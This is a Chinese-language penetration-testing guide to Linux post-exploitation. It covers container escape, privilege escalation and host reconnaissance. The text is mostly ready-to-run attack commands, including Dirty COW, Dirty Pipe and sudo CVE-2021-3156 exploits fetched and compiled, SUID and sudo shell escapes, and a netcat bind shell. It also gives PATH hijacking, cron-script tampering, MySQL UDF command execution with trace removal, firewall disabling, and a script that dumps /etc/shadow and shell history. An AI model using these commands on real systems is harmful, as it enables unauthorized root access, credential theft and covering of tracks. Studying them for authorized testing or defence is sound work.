Linux雖然沒有域環境,但是當我們拿到一臺Linux 系統許可權,難道只進行一下提權,捕獲一下敏感資訊就結束了嗎?顯然不只是這樣的。本片文章將從拿到一個Linux shell開始,介紹Linux內網滲透技術,分為容器逃逸、Linux提權、Linux資訊收集、Linux隧道技術、Linux橫向移動、Linux許可權維持、Linux痕跡清理幾個部分。
容器逃逸
容器逃逸的應用主要是,拿到shell之後,發現是docker環境,要進一步滲透,就必須逃逸到宿主機。
容器逃逸方法見:
https://www.cnblogs.com/yokan/p/16049516.html
Linux提權
Linux提權大概可以分為下面幾種:
系統核心提權;第三方服務提權;資料庫提權;密碼收集提權;鍵盤記錄提權;Suid提權;Sudo提權;反彈shell提權。
提權輔助工具
GTFOBins
GTFOBins是一個精心策劃的Unix二進位制檔案列表,可以用來繞過錯誤配置系統中的本地安全限制。該專案收集了Unix二進位制檔案的合法函式,這些函式可能被濫用,以打破受限制的shell,升級或維護提升的特權,傳輸檔案,生成繫結和反向shell,併為其他事後利用任務提供便利。需要注意的是,這不是一個漏洞列表,這裡列出的程式本身並不容易受到攻擊,相反,GTFOBins是一個概要,說明當您只有某些二進位制檔案可用時,如何獲得root許可權。
BeRoot
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
BeRoot用於檢查Linux和Mac OS上常見的錯誤配置,以找到一種方法來升級我們的特權。檢查項包括GTFOBins中的二進位制檔案、萬用字元錯誤、suid、環境變數、NFS、sudo等等,詳細可以去上面連結看。
pspy
https://github.com/DominicBreuker/pspy
Pspy是一個命令列工具,用於在不需要root許可權的情況下窺探程式。它允許您在其他使用者執行的命令、cron任務等執行時檢視它們。該工具通關迴圈遍歷/proc下的值來獲取程式引數資訊。
traior
https://github.com/liamg/traitor
多個linux提權漏洞縫合怪。
Traitor 打包了一堆方法來利用本地錯誤配置和漏洞來自動提權:
- 幾乎所有的GTFOBins
- 可寫 docker.sock
- CVE-2022-0847(髒管)
- CVE-2021-4034 (pwnkit)
- CVE-2021-3560
0x00 基礎資訊收集
在說提權之前先介紹一下基本的資訊收集命令,為後續的提權做準備。
1、核心,作業系統和裝置資訊
uname -a 列印所有可用的系統資訊
uname -r 核心版本
uname -n 系統主機名。
uname -m 檢視系統核心架構(64位/32位)
hostname 系統主機名
lsb_release -a 發行版資訊
cat /proc/version 核心資訊
cat /etc/*-release 發行版資訊
cat /etc/issue 發行版資訊
cat /proc/cpuinfo CPU資訊
2、使用者和群組
cat /etc/passwd 列出系統上的所有使用者
cat /etc/group 列出系統上的所有組
groups 當前使用者所在的組
groups test test使用者所在的組
getent group xxx xxx組裡的使用者
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超級使用者賬戶
whoami 檢視當前使用者
w 誰目前已登入,他們正在做什麼
last 最後登入使用者的列表
lastlog 所有使用者上次登入的資訊
lastlog –u %username% 有關指定使用者上次登入的資訊
3、使用者和許可權資訊
whoami 當前使用者名稱
id 當前使用者資訊
cat /etc/sudoers 誰被允許以root身份執行
sudo -l 當前使用者可以以root身份執行操作
yokan使用者可以以root身份執行任意操作
4、環境資訊
env 顯示環境變數
echo %PATH 路徑資訊
history 顯示當前使用者的歷史命令記錄
pwd 輸出工作目錄
cat /etc/profile 顯示預設系統變數
cat /etc/shells 顯示可用的shell
0x01 核心漏洞提權
提示:核心漏洞提權有風險,有可能會崩潰系統。
核心漏洞是我們幾乎最先想到的提權方法。通殺的核心漏洞是十分少見的,因而我們應該先對系統相關的資訊進行收集,收集方法參考第一小節基礎資訊收集
即可。
大多核心漏洞通過核心版本能很快查到
SearchSploit
用kali自帶的searchsploit來搜尋exploitdb中的漏洞利用程式碼
SearchSploit是一個Exploit-DB的命令列搜尋工具,它還允許隨身攜帶漏洞利用資料庫的副本。
SearchSploit使用:
更新SearchSploit:
apt update && apt -y full-upgrade
searchsploit -u
基本搜尋語法:
只需新增您想要查詢的任意數量的搜尋詞:
searchsploit linux 2.6 ubuntu priv esc
Tip:如果你沒有收到預期的結果,可以使用更通用的術語進行更廣泛的搜尋。如:Kernel 2.6.25 - >Kernel 2.6 / / Kernel 2.x。
Tip:不要使用縮寫如:SQLi -> SQL Injection。
顯示漏洞利用的完整路徑:
-p, --path [EDB-ID] 顯示漏洞利用的完整路徑(如果可能,還將路徑複製到剪貼簿),後面跟漏洞ID號
不建議在本地的漏洞資料庫中修改exp
,建議使用-m
引數複製那些有用的到當前的工作目錄:
-m, --mirror [EDB-ID] 把一個exp拷貝到當前工作目錄,引數後加目標id
exp利用:
將exp上傳到目標技巧,編譯執行(編譯方法,在原始碼的註釋裡有)
gcc 9545.c -o exp
chmod 777 exp
./exp
當然,以上只是非常理想的情況,我們經常會遇到沒有gcc的坑爹伺服器。這時我們就需要在本地編譯。本地編譯時不止要看exp原始碼註釋的編譯引數,也需要手動調整一下編譯的引數,比如給gcc 加-m 32來編譯32位。編譯問題繁多,有困難找谷歌。
最後強調利用核心漏洞的幾個注意點:
1.讀原始碼註釋,有exp基本資訊和編譯方法,不然可能連編譯都不會
2.讀原始碼,不然費勁編譯完才發現不適用
3.讀原始碼,不然遇到一個刪全盤的”exp“怎麼辦
髒牛漏洞(CVE-2016-5195)
漏洞原理:該漏洞具體為,get_user_page核心函式在處理Copy-on-Write(以下使用COW表示)的過程中,可能產出競態條件造成COW過程被破壞,導致出現寫資料到程式地址空間內只讀記憶體區域的機會。修改su或者passwd程式就可以達到root的目的。
漏洞編號:CVE-2016-5195
漏洞名稱:髒牛(Dirty COW)
漏洞危害:低許可權使用者利用該漏洞技術可以在全版本上實現本地提權
影響範圍:3.9>Linux kernel >=2.6.22 並且Android也受影響
利用指令碼合集:PoCs · dirtycow/dirtycow.github.io Wiki
漏洞復現:
先檢視一下系統版本資訊
linux kernel版本2.6.32,應該可以用髒牛提權。下載髒牛提權指令碼
這裡使用dirty.c這個exp:
這個exp利用了dirtycow漏洞的pokemon漏洞 。會自動生成一個新的passwd行。 執行二進位制檔案時,會提示使用者輸入新密碼。 原/etc/passwd檔案會備份到/tmp/passwd.bak下 ,用生成的行覆蓋根帳戶。執行該漏洞後,你應該能夠登入新建立的使用者。 使用此漏洞可以根據您的需要修改使用者值。 預設為“firefart”使用者。
上傳到目標系統tmp目錄下
在/tmp目錄下直接起一個命令列,然後編譯執行指令碼
此時切換到firefart使用者,密碼為123456
執行id命令後可以看到已經為root使用者了,成功提權。
Dirty Pipe(CVE-2022-0847)
利用條件
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
EXP:
https://haxx.in/files/dirtypipez.c
#原理為 直接修改一個具有suid許可權的可執行檔案,然後執行這個可執行檔案提權,完成提權後再把檔案改回來
or
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
#原理為 覆蓋 /etc/passwd 中的 root 密碼欄位並在彈出 root shell 後恢復
利用:
wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipez dirtypipez.c
./dirtypipez /usr/bin/su #任何具體suid許可權的檔案均可
0x02 SUID 提權
什麼是suid?suid全稱是Set owner User ID up on execution。這是Linux給可執行檔案的一個屬性——s標誌。通俗的理解為其他使用者執行這個程式的時候可以用該程式所有者/組的許可權。需要注意的是,只有程式的所有者是0號或其他super user,同時擁有suid許可權,才可以提權。
推薦閱讀P神的這篇文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
常見的可用來提權的Linux 可執行檔案有:
Nmap, Vim, find, bash, more, less, nano, cp
檢視可以suid 提權的可執行檔案:
find / -perm -u=s -type f 2>/dev/null
或者
find / -user root -perm -4000 -print 2>/dev/null
下面列舉幾個常見的設定了SUID的應用程式提權手段:
- find
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
實用程式find用來在系統中查詢檔案。同時,它也有執行命令的能力。 因此,如果配置為使用SUID許可權執行,則可以通過find執行的命令都將以root身份去執行。
比如:DC -1 靶機就是利用find 命令進行root 使用者來執行命令
大部分Linux 系統都安裝了nc。使用如下命令即可成功得到root shell:
find / -type f -exec /bin/bash \;
或
find / -exec nc -lvp 5555 -e /bin/sh \;
nc ip port
測試:
chomod u+s /usr/bin/find #chmod u+s 給某個程式的所有者suid許可權。
- nmap
較舊版本的Nmap(2.02≤nmap<5.21)帶有互動模式,從而允許使用者執行shell命令。由於Nmap位於上面使用root許可權執行的二進位制檔案列表中,因此可以使用互動式控制檯來執行具有相同許可權的shell。)
可以使用下命令進入namp互動模式
nmap --interactive
執行命令後會返回一個shell
nmap> !sh
sh-3.2# whoami
root
5.2.0 之後,nmap 還可以通過執行指令碼來提權:
在某些發行版的Linux 可能會提權失敗。具體原理移步p 師傅文章
# nse指令碼 shell.nse
os.execute('/bin/sh')
# nmap 提權
nmap --script=shell.nse
或者
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
- vim
如果vim 是通過SUID執行,就會繼承root使用者的許可權。可讀取只有root能讀取的檔案。
vim /etc/shadow
vim 執行shell
vim
:set shell=/bin/sh
:shell
同理,滿足條件的 less 和 more 都可。
- awk
awk 'BEGIN {system("/bin/bash")}'
- strace
strace -o/dev/null /bin/bash
0x03 利用環境變數提權
利用關鍵在於找到具有SUID許可權的檔案,環境變數中有自己能控制的路徑,比如當前目錄(.)
詳細文章參考:https://xz.aliyun.com/t/2767
PATH
是Linux 和 Unix 作業系統中的環境變數,它指定儲存可執行程式的所有bin和sbin目錄。當使用者在終端上執行任何命令時,它會通過PATH變數來響應使用者執行的命令,並向shell傳送請求以搜尋可執行檔案。超級使用者通常還具有/sbin和/usr/sbin條目,以便於系統管理命令的執行。
使用echo命令顯示當前PATH環境變數:
測試:
環境配置:
現在我們的當前目錄是/home/yokan,我們將在當前目錄下建立一個srcipt目錄。然後cd到script目錄中,編寫一個簡單的c程式來呼叫系統二進位制檔案的函式。
pwd
mkdir script
cd /script
nano demo.c
demo.c檔案內容如下圖,你可以看到,我們呼叫了ps命令,即系統二進位制檔案:
然後使用gcc命令編譯demo.c檔案並且賦予編譯檔案SUID許可權,命令如下:
gcc demo.c -o shell #需要以root許可權編譯
chmod u+s shell
ls -la shell
攻擊利用:
首先,你需要先入侵靶機系統並且進入到提權階段。假設你已經通過ssh成功登入到了靶機上,二話不說,我們直接使用find命令來搜尋具有SUID或4000許可權的檔案。
find / -perm -u=s -type f 2>/dev/null
通過執行上述命令,攻擊者可以遍歷任何可執行檔案,在這裡我們可以看到/home/yokan/script目錄下的shell檔案具有SUID許可權,如圖:
於是我們cd到/home/yokan/script/目錄下,ls一下,看到了名為shell的可執行檔案。我們執行一下這個檔案,可以看到shell檔案嘗試執行ps命令,這個命令是/bin目錄下的用來檢視程式狀態的真實檔案。
ls
./shell
提權:
echo命令
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/yokan/script
./shell
whoami
其他更多的方法參考上面的文章。
0x04 利用第三方服務提權
當一些第三方服務,以root身份執行, 我們通過它拿到的shell就是root許可權。
netstat -antup
該命令可以顯示所有開啟並正在監聽的埠,我們可以通過此命令檢查是否有可以利用的本地服務
ps -aux | grep root
該命令可以顯示以root使用者身份執行的服務
Docker 組提權
docker 組內使用者執行命令的時候會自動在所有命令前新增 sudo。因為設計或者其他的原因,Docker 給予所有 docker 組的使用者相當大的權力(雖然權力只體現在能訪問 /var/run/docker.sock 上面)。預設情況下,Docker 軟體包是會預設新增一個 docker 使用者組的。Docker 守護程式會允許 root 使用者和 docker
組使用者訪問 Docker。給使用者提供 Docker 許可權和給使用者無需認證便可以隨便獲取的 root 許可權差別不大。
docker組內使用者執行如下命令,即可獲得root許可權
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
#引數 -v 將容器外部的目錄 / 掛載到容器內部 /hostOS
這個容器的啟動指令碼是 exploit.sh,主要內容是:chroot 到容器的 /hostOS (也就是宿主機的 /),然後獲取到宿主機的 root 許可權。
測試:
建立了個使用者dockertest
加入了docker組,然後執行如下命令,獲得root許可權
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
MySQL UDF 提權
先檢視 secure_file_priv
的值是否為空,因為只有為空我們才能繼續下面的提權步驟
提權步驟:
- 獲取udf程式碼
sqlmap中有現成的udf檔案,分為32位和64位,一定要選擇對版本,否則會顯示:Can‘t open shared library ‘udf.dll‘。
sqlmap\udf\mysql\windows\32目錄下存放著lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目錄下為64位的lib_mysqludf_sys.dll_
但是sqlmap 中 自帶 的shell 以及一些二進位制檔案,為了防止被誤殺都經過異或方式編碼,不能直接使用的。
可以利用sqlmap 自帶的解碼工具cloak.py,進入到 sqlmap\extra\cloak\cloak 目錄下,執行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap中的udf檔案提供的函式:
sys_eval,執行任意命令,並將輸出返回。
sys_exec,執行任意命令,並將退出碼返回。
sys_get,獲取一個環境變數。
sys_set,建立或修改一個環境變數。
- 將udf檔案上傳到指定位置
MySQL<5.0,匯出路徑隨意;
5.0 <= MySQL<5.1,則需要匯出至目標伺服器的系統目錄(如:c:/windows/system32/)
MySQL 5.1以上版本,必須要把udf.dll檔案放到MySQL安裝目錄下的lib\plugin資料夾下才能建立自定義函式。
select @@basedir; #檢視mysql安裝目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS建立lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS建立plugin目錄
select 0xUDFcode into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll'; #匯出udfcode,注意修改udfcode
- 從udf檔案中引入自定義函式
create function sys_eval returns string soname 'udf.dll';
//sys_eval是函式名稱(可選shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上傳後的檔名
- 執行命令
select * from mysql.func where name = 'sys_eval'; #檢視建立的sys_eval函式
select sys_eval('whoami'); #使用系統命令
- 痕跡清除
drop function sys_eval; #刪除函式
delete from mysql.func where name='sys_eval' #刪除函式
redis提權
如果Redis以root身份執行,黑客可以利用Redis寫入SSH公鑰檔案,直接通過SSH免密碼登入受害伺服器。Redis 預設繫結在6379埠,並且沒有開啟認證,在沒有任何訪問策略的情況下,任何人可以直接在非授權情況下直接訪問Redis服務並進行相關操作。
詳細參考《Redis基礎與簡單利用.docx》
0x05 Sudo提權
一旦攻擊者有權訪問任何SUDO使用者,那麼他基本上就可以使用root許可權執行任何命令。管理員可能只允許使用者通過SUDO執行一些命令,但絕對不是所有命令,即使是使用這樣的配置,他們也可能會在不知情的情況下引入漏洞,從而導致許可權提升的風險。
無密碼:
sudo -l
列印允許作為SUDO執行的命令
假如我們被允許以sudo執行find、cat、vi、more、less、nmap、perl、ruby、gdb、python
等任何程式語言編譯器、直譯器和編輯器,那麼我們就可以通過這些命令,獲得root許可權。
實際環境中不一定會這麼明顯顯示可用命令,某些配置也是可以使用這幾個命令的,如果對sudo機制不熟悉,可以直接使用sudo+命令 測試是否可用。
例如 vi
命令:
進入底線命令模式,輸入:!/bin/bash,即可開啟一個使用者為root的shell
sudo vi test.txt
:!/bin/bash
有密碼:
如果知道sudo組使用者的密碼,可以直接sudo -i
提權。
sudo -i: 為了頻繁的執行某些只有超級使用者才能執行的許可權,而不用每次輸入密碼,可以使用該命令。提示輸入密碼時該密碼為當前賬戶的密碼。沒有時間限制。執行該命令後提示符變為“#”而不是“$”。想退回普通賬戶時可以執行“exit”或“logout” 。
補充:
直接在低權shell裡面用sudo是不奏效的,這是因為出於安全考慮,linux要求使用者必須從終端裝置(tty)中輸入密碼,而不是標準輸入(stdin)。換句話說,sudo在你輸入密碼的時候本質上是讀取了鍵盤,而不是bash裡面輸入的字元。因此為了能夠輸入密碼,我們必須模擬一個終端裝置。
python就有這樣的功能。在shell裡面輸入:
python -c 'import pty;pty.spawn("/bin/sh")'
就用python建立了一個虛擬終端,然後就可以使用sudo等等命令了。
Linux sudo許可權提升漏洞(CVE-2021-3156)
非常好用
概述
當sudo通過 -s 或 -i 命令列選項在shell模式下執行命令時,它將在命令引數中使用反斜槓轉義特殊字元。但使用 -s 或 -i 標誌執行 sudoedit 時,實際上並未進行轉義,從而可能導致緩衝區溢位。因此只要存在sudoers檔案(通常是 /etc/sudoers),攻擊者就可以使用本地普通使用者利用sudo獲得系統root許可權。
影響版本
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
檢視sudo版本
命令:sudo --version
POC
https://github.com/worawit/CVE-2021-3156
復現
sudo --version
python exploit_defaults_mailer.py
/tmp/sshell
0x06 檔案許可權配置不當
當某個程式啟動許可權為ROOT,對應檔案編輯許可權為普通使用者時,我們可以利用該問題點進行提權。
pspy(https://github.com/DominicBreuker/pspy)工具提供了普通使用者許可權即可監聽程式資訊
測試環境:
首先我們建立一個while迴圈,並使用ROOT使用者迴圈執行/tmp/1.sh。
利用:
我們獲取普通使用者許可權時,利用pspy可以監控到ROOT使用者在持續執行/tmp/1.sh:
嘗試檢視/tmp/1.sh檔案內容和許可權,發現我們當前使用者具備讀寫許可權:
我們嘗試替換檔案內容,檢視是否會以ROOT許可權啟動其中命令:
發現成功提權,以ROOT許可權啟動自定義命令:
0x07 計劃任務配置不當
Cron任務常常以root許可權執行。如果我們可以成功篡改Cron任務中定義的任何指令碼或二進位制檔案,我們便可以使用root許可權執行任意程式碼。
檢視計劃任務的方法:
crontab -l
ls -alh /var/spool/cron
cat /etc/cron*
舉例:
ls -la /etc/cron.d
列印cron.d中已經存在的Cron任務。
find / -perm -2 -type f 2>/dev/null
列印全域性可寫入檔案
cron-logrotate.sh是全域性可寫入的,它由cronjob執行。我們在cron-logrotate.sh中寫入/新增的任何命令都會以root身份執行
我們在/tmp目錄下編寫一個C檔案,並對其進行編譯:
rootme可執行檔案會產生一個Shell。ls -la rootme
說明該檔案由使用者SHayslett擁有。
然後執行下面命令,將可執行檔案的所有者和分組修改為root,同時也會設定SUID位:
echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh
待logrotate Cron任務以root許可權執行後,
執行./rootme
產生一個root Shell
Linux Polkit許可權提升漏洞(CVE-2021-4034)
漏洞描述:該漏洞是由於pkexec無法正確處理呼叫引數,從而將環境變數作為命令執行,具有任意使用者許可權的攻擊者都可以在預設配置下通過修改環境變數來利用此漏洞,從而獲得受影響主機的root許可權。
受影響linux:
2009年5月至 2022 年1月26日釋出的所有 Polkit 版本
Polkit預裝在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多個Linux發行版上,所有存在該版本範圍Polkit的Linux系統均受影響。
受影響國產化作業系統:
銀河麒麟高階伺服器作業系統 V10
銀河麒麟高階伺服器作業系統 V10 SP1
銀河麒麟高階伺服器作業系統 V10 SP2
統信 UOS 伺服器作業系統 V20
銀河麒麟桌面版作業系統 V10
銀河麒麟桌面版作業系統 V10 SP1
統信 UOS 桌面版作業系統 V20
中標麒麟桌面版作業系統 V7.0
版本檢測:
Linux系統使用者可以通過檢視Polkit版本來判斷當前系統是否在受影響範圍內,主流Linux發行版命令如下:
CentOS、RedHat 系列:
rpm -qa polkit
Debian、Ubuntu 系列:
dpkg -l policykit-1
不受影響版本
CentOS:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
漏洞復現:
CentOS環境
利用:
exp網上很多。也很穩定。也算是個”神洞“了。
Linux資訊收集
本機基本資訊
#管理員
$普通使用者
@之前表示登入的使用者名稱稱,之後表示主機名,再之後表示當前所在目錄
/ 表示根目錄
~表示當前使用者家目錄
1、核心,作業系統和裝置資訊
uname -a 列印所有可用的系統資訊
uname -r 核心版本
uname -n 系統主機名。
uname -m 檢視系統核心架構(64位/32位)
hostname 系統主機名
lsb_release -a 發行版資訊
cat /proc/version 核心資訊
cat /etc/*-release 發行版資訊
cat /etc/issue 發行版資訊
cat /proc/cpuinfo CPU資訊
2、使用者和群組
cat /etc/passwd 列出系統上的所有使用者
cat /etc/shadow 檢視使用者Hash
cat /etc/group 列出系統上的所有組
groups 當前使用者所在的組
groups test test使用者所在的組
getent group xxx xxx組裡的使用者
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超級使用者賬戶
awk -F: 'length($2)==0 {print $1}' /etc/shadow #檢視是否存在空口令使用者
awk '/\$1|\$6/{print $1}' /etc/shadow #檢視遠端登入的賬號
whoami 檢視當前使用者
w 誰目前已登入,他們正在做什麼
who 命令用於顯示系統中有哪些使用者正在上面
last 最後登入使用者的列表
lastlog 所有使用者上次登入的資訊
lastlog –u %username% 有關指定使用者上次登入的資訊
3、使用者和許可權資訊
whoami 當前使用者名稱
id 當前使用者資訊
cat /etc/sudoers 可以使用sudo提升到root的使用者
sudo -l 當前使用者可以以root身份執行操作
yokan使用者可以以root身份執行任意操作
4、環境資訊
env 顯示所有的環境變數
set 顯示本地環境變數
echo $PATH 環境變數中的路徑資訊
export [-fnp][變數名稱]=[變數設定值] 顯示和設定環境變數
pwd 輸出工作目錄
cat /etc/profile 顯示預設系統變數
cat /etc/shells 顯示可用的shell
ls -la /etc/*.conf 檢視etc下所有配置檔案
5、歷史命令
顯示當前使用者的歷史命令記錄
history
cat ~/.bash_history
# 檢視其他使用者的歷史命令檔案
cat /home/user/.bash_history
history顯示記憶體和~/.bash_history中的所有內容;
記憶體中的內容並沒有立刻寫入~/.bash_history,只有噹噹前shell關閉時才會將記憶體內容寫入shell
6、程式資訊
ps aux 以使用者的格式顯示所有程式,包括非終端的程式
ps -ef 顯示所有程式,顯示UID,PPIP(父程式),C與STIME欄位
ps -ef | grep java 查詢某個應用的所有程式資訊
top 實時顯示佔用最多的程式
如果想檢視程式的CPU佔用率和記憶體佔用率,可以使用
aux
如果想檢視程式的父程式ID和完整的COMMAND命令,可以使用
-ef
lsof -c $PID 檢視程式關聯檔案
/proc/$PID/cmdline 完整命令列資訊
/proc/$PID/comm 程式的命令名
/proc/$PID/cwd 程式當前工作目錄的符號連結
/proc/$PID/exe 執行程式的符號連結
/proc/$PID/environ 程式的環境變數
/proc/$PID/fd 程式開啟檔案的情況
7、服務資訊
cat /etc/services 查詢存在的服務
cat /etc/services | grep Java 查詢對應的服務
systemctl list-units --type=service --state=running 查詢已經開啟的服務
8、計劃任務
在Linux系統中,計劃任務一般是由cron承擔。cron啟動後,它會讀取它的所有配置檔案(全域性性配置檔案/etc/crontab,以及每個使用者的計劃任務配置檔案),然後cron會根據命令和執行時間來按時來呼叫工作任務。
/var/spool/cron/crontabs :這個目錄以賬號來區分每個使用者自己的執行計劃
/etc/crontab :系統執行計劃,需要在後邊加上使用者格式
所有計劃任務項:
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
crontab -l 查詢當前使用者所有的計劃任務
crontab -l -u user 查詢指定使用者的計劃任務
cat /var/spool/cron/crontabs/root 查詢root使用者的計劃任務
9、網路、路由和通訊
查詢ip
ifconfig
ip addr
列印路由資訊
route 查詢路由表
route -n 查詢路由表,以ip地址顯示
netstat -r 查詢路由表
ip ro
檢視系統arp表
arp -a
埠開放情況
netstat -antup 所有埠
netstat -antp tcp埠
netstat -anup udp埠
檢視埠服務對映
cat /etc/services
列出iptables的配置規則
iptables -L
顯示網路卡資訊
netstat -i
dns資訊
cat /etc/resolv.conf 檢視dns配置資訊
dnsdomainname -V 列印DNS系統中FQDN名稱中的域名
cat /etc/hosts 檢視hosts域名解析檔案
10、已安裝應用
rpm -qa --last #Redhat、CentOS
rpm -qa polkit #檢視指定應用的安裝版本
dpkg -l #ubuntu、debian
dpkg -l policykit-1 #檢視指定應用的安裝版本
dpkg -L xxx #查詢某個軟體所關聯的檔案
11、查詢能寫或執行的目錄
find / -writable -type d 2>/dev/null
find / -perm -o+w -type d 2>/dev/null
find / -perm -o+x -type d 2>/dev/null
12、防火牆
iptables -L 檢視防火牆配置
檢視防火牆狀態:
systemctl status firewalld
service iptables status
暫時關閉防火牆:
systemctl stop firewalld
service iptables stop
永久關閉防火牆:
systemctl disable firewalld
chkconfig iptables off
重啟防火牆:
systemctl enable firewalld
service iptables restart
13、敏感檔案
find命令 -o引數 表示 或者 的意思
find / -type f -iname "*.bash_history" -o -iname "*config*" -o -iname "web.xml" -o -iname "*database*" -o -iname "*pass*" 2>/dev/null
查詢SSH金鑰:
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls
Web應用服務
常見配置檔案路徑:
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/usr/lib/php.ini
/etc/nginx/nginx.conf
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/Zend/etc/php.ini
/var/apache2/config.inc
/var/httpd/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/www/conf/httpd.conf
/web/conf/php.ini
/www/conf/httpd.conf
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
資料庫
/etc/init.d/mysql
/etc/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/share/mysql/my.cnf
自動化指令碼
linux_info.sh
#!/bin/bash
#輸出檔案
filename=$(date +%s)'.log'
echo "資訊收集"
echo -e "\n" | tee -a $filename
echo "賬戶資訊收集" | tee -a $filename
cat /etc/passwd | tee -a $filename
echo -e "\n" | tee -a $filename
echo "shadow" | tee -a $filename
cat /etc/shadow | tee -a $filename
echo -e "\n" | tee -a $filename
echo "程式資訊收集" | tee -a $filename
ps aux | tee -a $filename
echo -e "\n" | tee -a $filename
echo "網路連線" | tee -a $filename
netstat -antlp | tee -a $filename
echo -e "\n" | tee -a $filename
echo "當前使用者:" $(whoami) 2>/dev/null | tee -a $filename
echo -e "\n" | tee -a $filename
echo "埠監聽" | tee -a $filename
netstat -lnpt | tee -a $filename
echo -e "\n" | tee -a $filename
echo "可登陸使用者" | tee -a $filename
cat /etc/passwd | grep -E -v 'nologin$|false' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "增加使用者的日誌" | tee -a $filename
grep "useradd" /var/log/secure | tee -a $filename
echo -e "\n" | tee -a $filename
echo "History操作提取" | tee -a $filename
cat ~/.*history | tee -a $filename
echo -e "\n" | tee -a $filename
echo "登入成功的IP" | tee -a $filename
grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename
echo -e "\n" | tee -a $filename
echo "檢視路由表" | tee -a $filename
route -n | tee -a $filename
echo -e "\n" | tee -a $filename
echo "檢視 SSH key" | tee -a $filename
sshkey=${HOME}/.ssh/authorized_keys
if [ -e "${sshkey}" ]; then
cat ${sshkey} | tee -a $filename
else
echo -e "SSH key檔案不存在\n" | tee -a $filename
fi
echo -e "\n" | tee -a $filename
echo "檢視 known_hosts" | tee -a $filename
